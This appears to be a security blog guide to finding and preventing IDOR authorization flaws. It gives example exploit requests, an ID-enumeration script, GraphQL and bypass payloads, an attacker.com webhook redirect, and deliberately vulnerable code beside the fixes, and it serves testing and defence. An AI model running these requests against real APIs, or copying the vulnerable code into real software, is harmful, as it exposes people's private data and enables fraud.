IDOR Hunting Guide: 10 Patterns, Real Payloads & Testing Techniques (2026)
On this page
IDOR — The #1 Vulnerability That Automated Scanners Miss
Insecure Direct Object Reference (IDOR) — classified as OWASP A01: Broken Access Control and OWASP API1: Broken Object Level Authorization (BOLA) — has been the most exploited vulnerability class since 2021.
What makes IDOR devastating is its simplicity: change a number in a URL, access someone else's data. No injection, no encoding tricks, no special tools — just a browser and curiosity. Yet automated scanners catch less than 5% of IDOR bugs because they cannot understand business logic or authorization intent.
This guide covers 10 distinct IDOR patterns, real exploitation payloads, techniques to bypass common defenses, and a systematic testing methodology.
Bug Bounty Context: IDOR accounts for more critical/high payouts on HackerOne and Bugcrowd than any other single vulnerability class. Facebook alone has paid over $2M for IDOR reports.
Table of Contents
- How IDOR Works — The Fundamentals
- Pattern 1: Direct ID Manipulation
- Pattern 2: IDOR in Body Parameters
- Pattern 3: IDOR via File/Path References
- Pattern 4: IDOR in GraphQL Queries
- Pattern 5: IDOR Through Indirect References
- Pattern 6: IDOR in Batch/Bulk Endpoints
- Pattern 7: IDOR via State-Changing Operations
- Pattern 8: IDOR in Webhooks & Callbacks
- Pattern 9: IDOR Through API Versioning
- Pattern 10: IDOR in Export/Report Functions
- Bypassing UUID-Based Defenses
- Systematic Testing Methodology
- IDOR Prevention Patterns by Framework
1. How IDOR Works — The Fundamentals
An IDOR occurs when all three conditions are true:
1. The application uses a client-supplied identifier to look up a resource
2. The identifier is predictable or discoverable
3. No server-side check verifies the requester is authorized to access that resource
The Core Problem: Authentication ≠ Authorization
| Check | Question | Catches |
|---|---|---|
| Authentication | "Who are you?" | Unauthenticated access |
| Authorization | "Are you allowed to access THIS resource?" | IDOR |
Most developers implement authentication correctly but forget authorization at the object level.
Impact by Industry
| Industry | IDOR Risk | Example Impact |
|---|---|---|
| Fintech | Critical | View other users' balances, transactions, tax documents |
| Healthcare | Critical | Access patient medical records, prescriptions, lab results |
| E-commerce | High | View order details, addresses, payment methods |
| SaaS | High | Access other tenants' data, API keys, configurations |
| Social Media | High | View private messages, photos, personal information |
| Education | Medium | Access other students' grades, submissions, evaluations |
2. Pattern 1: Direct ID Manipulation (Classic IDOR)
The simplest and most common pattern. A sequential or predictable ID in the URL path or query parameter.
Vulnerable Endpoint
GET /api/invoices/1001
Authorization: Bearer <user_A_token>
Response: { "id": 1001, "amount": 2500, "customer": "User A", ... }
Exploitation
# Simply change the ID
GET /api/invoices/1002
Authorization: Bearer <user_A_token>
Response: { "id": 1002, "amount": 87000, "customer": "User B", "tax_id": "XXX-XX-1234" }
# User A now sees User B's invoice with their tax ID
Enumeration Script
import requests
headers = {"Authorization": "Bearer <your_token>"}
base_url = "https://api.target.com/api/invoices/"
for invoice_id in range(1, 10000):
resp = requests.get(f"{base_url}{invoice_id}", headers=headers)
if resp.status_code == 200:
data = resp.json()
if data.get("customer") != "Your Name":
print(f"[IDOR] Invoice {invoice_id}: {data['customer']} - " + str(data['amount']))
Vulnerable Code (Node.js)
// ❌ VULNERABLE — no ownership check
router.get('/invoices/:id', auth, async (req, res) => {
const invoice = await Invoice.findById(req.params.id);
if (!invoice) return res.status(404).json({ error: 'Not found' });
res.json(invoice);
});
Secure Code
// ✅ SECURE — ownership enforced in query
router.get('/invoices/:id', auth, async (req, res) => {
const invoice = await Invoice.findOne({
_id: req.params.id,
userId: req.user.id // Only return if user owns it
});
if (!invoice) return res.status(404).json({ error: 'Not found' });
res.json(invoice);
});
3. Pattern 2: IDOR in Body Parameters
Many developers protect URL parameters but forget that request body fields are equally attacker-controlled.
Vulnerable Endpoint
POST /api/profile/update
Content-Type: application/json
Authorization: Bearer <user_A_token>
{
"userId": "user_B_id", ← Attacker changes this
"email": "attacker@evil.com",
"phone": "555-0000"
}
The Problem
// ❌ VULNERABLE — trusts userId from request body
router.post('/profile/update', auth, async (req, res) => {
const { userId, email, phone } = req.body;
await User.findByIdAndUpdate(userId, { email, phone });
res.json({ success: true });
});
The Fix
// ✅ SECURE — userId from JWT, never from request body
router.post('/profile/update', auth, async (req, res) => {
const { email, phone } = req.body;
await User.findByIdAndUpdate(req.user.id, { email, phone });
res.json({ success: true });
});
Where to Look
- Profile update endpoints
- Settings/preferences endpoints
- Password change (changing
userIdin body) - Subscription/billing updates
- Any PUT/PATCH/POST with a user identifier in the body
4. Pattern 3: IDOR via File and Path References
File downloads, document viewers, and media endpoints often reference files by name or path — creating directory traversal + IDOR hybrids.
Vulnerable Endpoints
GET /api/documents/download?file=user_1001/tax_return_2025.pdf
GET /api/attachments/receipt_1001.pdf
GET /api/exports/report-user-42.csv
Exploitation
# Change the user folder
GET /api/documents/download?file=user_1002/tax_return_2025.pdf
# Iterate user IDs
GET /api/documents/download?file=user_1/tax_return_2025.pdf
GET /api/documents/download?file=user_2/tax_return_2025.pdf
# Directory traversal + IDOR combo
GET /api/documents/download?file=../admin/config.json
Vulnerable Code (Python Flask)
# ❌ VULNERABLE — user-controlled file path
@app.route('/api/documents/download')
@login_required
def download_doc():
filename = request.args.get('file')
return send_from_directory(UPLOAD_DIR, filename)
Secure Code
# ✅ SECURE — lookup by DB record with ownership check
@app.route('/api/documents/<doc_id>/download')
@login_required
def download_doc(doc_id):
doc = Document.query.filter_by(
id=doc_id,
user_id=current_user.id # Ownership enforced
).first_or_404()
# Serve from a path the user never controls
return send_from_directory(UPLOAD_DIR, doc.stored_filename)
5. Pattern 4: IDOR in GraphQL Queries
GraphQL's flexibility makes it particularly prone to IDOR because clients specify exactly which data they want — including other users' resources.
Vulnerable Query
# Attacker queries another user's orders
query {
user(id: "other_user_id") {
email
orders {
id
total
items { name, price }
shippingAddress { street, city, zip }
}
paymentMethods {
last4
brand
expiryDate
}
}
}
Nested IDOR via Relationships
# Even if user query is protected, try through relationships
query {
order(id: "order_belonging_to_other_user") {
total
customer {
email
phone
address
}
}
}
Mutations
# Delete another user's data
mutation {
deleteAddress(id: "other_users_address_id") {
success
}
}
# Update another user's settings
mutation {
updateUserSettings(userId: "other_user_id", settings: { isAdmin: true }) {
success
}
}
Defense
// ✅ Authorization in GraphQL resolvers
const resolvers = {
Query: {
user: async (_, { id }, context) => {
// Only allow querying own profile (or admin)
if (id !== context.user.id && !context.user.isAdmin) {
throw new ForbiddenError('Not authorized');
}
return User.findById(id);
},
order: async (_, { id }, context) => {
const order = await Order.findById(id);
if (order.userId !== context.user.id) {
throw new ForbiddenError('Not authorized');
}
return order;
}
}
};
6. Pattern 5: IDOR Through Indirect References
Sometimes the IDOR isn't through a direct resource ID but through a related resource that leaks access.
Scenario: Support Ticket Attachments
# Step 1: User A creates a support ticket with a private attachment
POST /api/tickets
{ "subject": "Billing issue", "attachment": "contract.pdf" }
Response: { "ticketId": 500, "attachmentId": "att_abc123" }
# Step 2: Attacker uses the attachment endpoint directly
GET /api/attachments/att_abc123
# No check if the requester is associated with ticket 500
Scenario: Shared Resource via Invitation Link
# The workspace invitation endpoint reveals member details
GET /api/workspaces/ws_123/members
# Attacker is not a member of ws_123 but the endpoint doesn't check membership
Response: [
{ "email": "ceo@target.com", "role": "owner" },
{ "email": "cfo@target.com", "role": "admin" },
...
]
Scenario: Comment on Another User's Private Resource
POST /api/comments
{
"resourceId": "private_doc_belonging_to_user_B",
"text": "test"
}
# If the server accepts this, it confirms the private resource exists
# AND may give the attacker read access through the comment thread
Defense
- Validate authorization on every resource in the chain, not just the top-level resource
- Attachment access should always verify ticket ownership first
- Comment creation should verify read access to the parent resource
7. Pattern 6: IDOR in Batch/Bulk Endpoints
Bulk APIs that accept arrays of IDs are especially dangerous because a single request can exfiltrate massive amounts of data.
Vulnerable Endpoint
POST /api/users/bulk-export
Content-Type: application/json
Authorization: Bearer <attacker_token>
{
"userIds": ["user_1", "user_2", "user_3", ... "user_10000"]
}
Response: [
{ "id": "user_1", "email": "...", "phone": "...", "ssn": "..." },
{ "id": "user_2", "email": "...", "phone": "...", "ssn": "..." },
...
]
Other Bulk IDOR Patterns
# Bulk delete
DELETE /api/files/bulk
{ "fileIds": ["other_user_file_1", "other_user_file_2"] }
# Bulk status check
POST /api/orders/status
{ "orderIds": ["1001", "1002", "1003", ..., "9999"] }
# Bulk download
POST /api/reports/download
{ "reportIds": ["report_1", "report_2"] }
Defense
// ✅ Filter bulk requests to only owned resources
router.post('/users/bulk-export', auth, async (req, res) => {
const { userIds } = req.body;
// Only allow if requester is admin AND all IDs belong to their organization
if (!req.user.isAdmin) return res.status(403).json({ error: 'Forbidden' });
const users = await User.find({
_id: { $in: userIds },
organizationId: req.user.organizationId // Tenant isolation
});
res.json(users);
});
8. Pattern 7: IDOR via State-Changing Operations
Read-based IDORs get attention, but write/delete IDORs are often more dangerous — they allow attackers to modify or destroy other users' data.
Cancel Another User's Order
POST /api/orders/5001/cancel
Authorization: Bearer <attacker_token>
# Server cancels order 5001 without checking if the attacker owns it
Transfer Funds from Another Account
POST /api/transfers
{
"fromAccount": "victim_account_id",
"toAccount": "attacker_account_id",
"amount": 50000
}
Delete Another User's Files
DELETE /api/files/file_belonging_to_other_user
Authorization: Bearer <attacker_token>
Response: { "success": true, "message": "File deleted" }
Approve/Reject Without Authorization
# HR application — attacker approves their own leave request
POST /api/leave-requests/req_555/approve
Authorization: Bearer <employee_token>
# Server doesn't verify that the requester is the approving manager
Defense
State-changing operations require even stricter authorization than read operations. Verify ownership AND role AND state validity.
9. Pattern 8: IDOR in Webhooks and Callbacks
Webhook configurations often let users specify callback URLs — but sometimes they also expose other users' webhook configurations or let attackers modify them.
Vulnerable Webhook Management
# List another user's webhooks
GET /api/webhooks?userId=other_user
Response: [
{ "id": "wh_1", "url": "https://customer.com/secret-endpoint", "events": ["payment.success"] }
]
# Update another user's webhook URL to attacker's server
PUT /api/webhooks/wh_1
{ "url": "https://attacker.com/capture" }
# Now all payment events go to the attacker
Callback-Based IDOR
# Payment callback with predictable reference
GET /api/payments/callback?ref=PAY-20260001
# Returns payment details including cardholder info
# Attacker iterates: PAY-20260001, PAY-20260002, ...
Defense
- Webhook management must enforce organization/user ownership
- Callback references should use unpredictable tokens, not sequential IDs
- Webhook events should be signed with per-user secrets
10. Pattern 9: IDOR Through API Versioning
Older API versions may lack authorization checks that were added to newer versions. Attackers revert to the old version.
Exploitation
# v2 API has proper authorization
GET /api/v2/users/other_user_id/profile
Response: 403 Forbidden
# v1 API is still running and has no authorization check!
GET /api/v1/users/other_user_id/profile
Response: 200 OK { "email": "...", "phone": "...", "ssn": "..." }
Other Version-Related Bypasses
# Try without version prefix
GET /api/users/other_user_id/profile
# Try internal/beta versions
GET /api/internal/users/other_user_id/profile
GET /api/beta/users/other_user_id/profile
# Try different content types
GET /api/v2/users/other_user_id/profile
Accept: application/xml
# XML endpoint may have weaker controls than JSON
Defense
- Deprecate and decommission old API versions — don't leave them running
- Apply the same authorization middleware across all API versions
- Audit internal/beta/staging endpoints with the same rigor as production
11. Pattern 10: IDOR in Export and Report Functions
Export and reporting endpoints are goldmines for IDOR because they often return large datasets with minimal access controls.
Vulnerable Endpoints
# Export user data as CSV
GET /api/users/other_user_id/export?format=csv
# Download monthly report
GET /api/reports/monthly/2026-03?orgId=other_org_id
# Generate PDF invoice
GET /api/invoices/INV-9999/pdf
# Returns a full invoice PDF with billing details
Why Exports Are Especially Dangerous
- Bulk data — a single IDOR in an export can leak thousands of records
- Rich data — exports often include fields not shown in the UI (SSN, full address, internal notes)
- Cached files — exported files may be stored with predictable filenames
- Background jobs — export jobs may use a predictable job ID that anyone can poll
Cached Export IDOR
# User A requests an export
POST /api/exports
Response: { "exportId": "exp_1001", "status": "processing" }
# Later, the export file is accessible at a predictable URL
GET /api/exports/exp_1001/download
# Attacker requests exp_1002, exp_1003, etc.
Defense
- Enforce ownership/membership on all export endpoints
- Use signed, time-limited download URLs instead of predictable paths
- Include only the minimum necessary fields in exports
12. Bypassing UUID-Based Defenses
Many teams switch from sequential integers to UUIDs thinking it solves IDOR. It doesn't. UUIDs make enumeration harder but don't provide authorization.
How Attackers Discover UUIDs
| Source | Technique |
|---|---|
| API responses | Other endpoints leak UUIDs in their response bodies |
| URL sharing | Shared links contain resource UUIDs |
| WebSocket messages | Real-time notifications include resource IDs |
| HTML source | UUIDs embedded in data attributes, hidden fields |
| Referer headers | Previous page URL contains UUID |
| Log files | Error messages or debug output leak UUIDs |
| Email notifications | "View your order" links contain order UUID |
| S3 bucket listings | Misconfigured cloud storage exposes file UUIDs |
UUID Harvesting Example
# Step 1: List endpoint leaks other users' IDs
GET /api/team/members
Response: [
{ "id": "550e8400-e29b-41d4-a716-446655440001", "name": "Alice" },
{ "id": "550e8400-e29b-41d4-a716-446655440002", "name": "Bob" }
]
# Step 2: Use harvested UUID to access Bob's private data
GET /api/users/550e8400-e29b-41d4-a716-446655440002/settings
Response: { "email": "bob@company.com", "apiKey": "sk-live-..." }
The Truth About UUIDs and IDOR
UUIDs provide: Obscurity (hard to guess)
UUIDs do NOT provide: Authorization (access control)
Security through obscurity is NOT security.
UUIDs should be combined with authorization checks, not replace them.
13. Systematic Testing Methodology
Phase 1: Reconnaissance
- Map all endpoints — use Burp Suite or browser DevTools to capture every API call
- Create two test accounts — User A (attacker) and User B (victim)
- Document all resource IDs — record every ID format (integer, UUID, slug, filename)
- Identify relationships — which resources belong to which users/organizations
Phase 2: Testing Matrix
For every endpoint that accepts a resource identifier, test these scenarios:
| Test | Request | Expected | IDOR If |
|---|---|---|---|
| Own resource | User A requests User A's resource | 200 OK | — |
| Other user's resource | User A requests User B's resource | 403 or 404 | 200 OK |
| Non-existent resource | User A requests fake ID | 404 | — |
| No auth | Request without token | 401 | 200 OK |
| Different role | Low-priv user requests admin resource | 403 | 200 OK |
Phase 3: Targeted Testing
For each endpoint:
1. Capture a legitimate request (your own resource)
2. Replace the resource ID with another user's resource ID
3. Send the modified request
4. Compare response codes and bodies
If you get a 200 with another user's data → IDOR confirmed
If you get a 403 → Authorization is working
If you get a 404 → Could be secure (404 instead of 403 to prevent enumeration)
Phase 4: Advanced Techniques
Parameter Pollution
# Send the same parameter twice
GET /api/orders?id=my_order&id=other_users_order
# Some frameworks take the last value, some take the first
HTTP Method Switching
# GET is protected, but PUT/PATCH/DELETE may not be
GET /api/users/other_id → 403 Forbidden
PUT /api/users/other_id → 200 OK (authorization only on GET!)
Case Sensitivity
# Some frameworks treat these differently
GET /api/Users/123 (capital U)
GET /api/USERS/123 (all caps)
GET /api/users/123 (lowercase — protected)
Changing Response Format
GET /api/users/other_id → 403
GET /api/users/other_id.json → 200 (different handler, no auth check)
GET /api/users/other_id?format=xml → 200
Recommended Tools
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept, modify, and replay requests |
| Autorize (Burp Extension) | Automated IDOR/authorization testing |
| OWASP ZAP | Free proxy with auth testing capabilities |
| Postman | Quick manual testing with collections |
| ffuf / wfuzz | Fuzzing IDs at scale |
| Custom Scripts | Python/Go scripts for bulk enumeration |
14. IDOR Prevention Patterns by Framework
Node.js / Express
// Reusable ownership middleware
const ownsResource = (model) => async (req, res, next) => {
const resource = await model.findOne({
_id: req.params.id,
userId: req.user.id
});
if (!resource) return res.status(404).json({ error: 'Not found' });
req.resource = resource;
next();
};
// Apply to routes
router.get('/invoices/:id', auth, ownsResource(Invoice), (req, res) => {
res.json(req.resource);
});
Django (Python)
# Mixin for ownership enforcement
class OwnershipMixin:
def get_queryset(self):
return super().get_queryset().filter(user=self.request.user)
class InvoiceViewSet(OwnershipMixin, viewsets.ModelViewSet):
serializer_class = InvoiceSerializer
queryset = Invoice.objects.all()
# get_queryset automatically filters to user's own invoices
Ruby on Rails
# Scope all queries through the current user
class InvoicesController < ApplicationController
def show
# current_user.invoices automatically scopes the query
@invoice = current_user.invoices.find(params[:id])
render json: @invoice
rescue ActiveRecord::RecordNotFound
render json: { error: 'Not found' }, status: :not_found
end
end
Spring Boot (Java)
@GetMapping("/invoices/{id}")
public ResponseEntity<Invoice> getInvoice(
@PathVariable Long id,
@AuthenticationPrincipal UserDetails user) {
Invoice invoice = invoiceRepository
.findByIdAndUserId(id, user.getId())
.orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));
return ResponseEntity.ok(invoice);
}
Go (Gin)
func GetInvoice(c *gin.Context) {
invoiceID := c.Param("id")
userID := c.GetString("userId") // From auth middleware
var invoice Invoice
result := db.Where("id = ? AND user_id = ?", invoiceID, userID).First(&invoice)
if result.Error != nil {
c.JSON(404, gin.H{"error": "Not found"})
return
}
c.JSON(200, invoice)
}
IDOR Prevention Checklist
[ ] Every endpoint that accepts a resource ID enforces ownership
[ ] Authorization checks happen server-side, never client-side only
[ ] User ID comes from the session/token, never from the request body
[ ] Bulk/batch endpoints validate ownership for ALL requested IDs
[ ] File download endpoints use DB lookups, not user-supplied paths
[ ] GraphQL resolvers have authorization checks on every type/field
[ ] Old API versions have the same authorization as current versions
[ ] Export/report endpoints enforce organization/user scoping
[ ] UUIDs are used IN ADDITION to authorization, not instead of it
[ ] Internal/admin endpoints require role-based access, not just authentication
[ ] 404 (not 403) is returned for unauthorized resources (prevent enumeration)
[ ] Automated authorization tests exist in CI/CD pipeline
Key Takeaways
- IDOR is #1 for a reason — it's everywhere, easy to exploit, and invisible to automated scanners
- 10 patterns, not 1 — IDOR goes far beyond "change the ID in URL". Bulk endpoints, GraphQL, exports, webhooks, and body parameters are equally vulnerable
- UUIDs don't fix IDOR — they add obscurity, not authorization. UUIDs leak through API responses, emails, WebSockets, and HTML source
- Write IDORs are worse than read IDORs — deleting data, canceling orders, or modifying settings causes direct business harm
- Test with two accounts — the simplest and most effective testing technique is making requests with User A's token for User B's resources
- Scope queries through the user — the most reliable prevention is filtering database queries by the authenticated user's ID at the ORM level
- Manual code review catches what scanners miss — authorization logic requires human understanding of business rules
Professional IDOR Testing
IDOR is the #1 vulnerability we find in secure code reviews. Our team manually tests every endpoint for authorization flaws — something automated scanners cannot do reliably.
Request a Free Consultation → | View Our Penetration Testing Service →
Shipping an API that needs a hard security pass?
We review authentication, authorization, business logic abuse, rate limiting, and the edge cases automated scanners usually miss.
Advertisement
Free Security Tools
Try our tools now
Expert Services
Get professional help
OWASP Top 10
Learn the top risks
Related Articles
Secure API Design Patterns: A Developer's Guide
Learn the essential security patterns every API developer should implement, from authentication to rate limiting.
XSS (Cross-Site Scripting) Prevention: Complete Guide 2025
Learn to prevent Stored, Reflected, and DOM-based XSS attacks. Includes real examples, OWASP prevention strategies, and Content Security Policy implementation.
JWT Security: Vulnerabilities, Best Practices & Implementation Guide
Comprehensive JWT security guide covering token anatomy, common vulnerabilities, RS256 vs HS256, refresh tokens, and secure implementation patterns.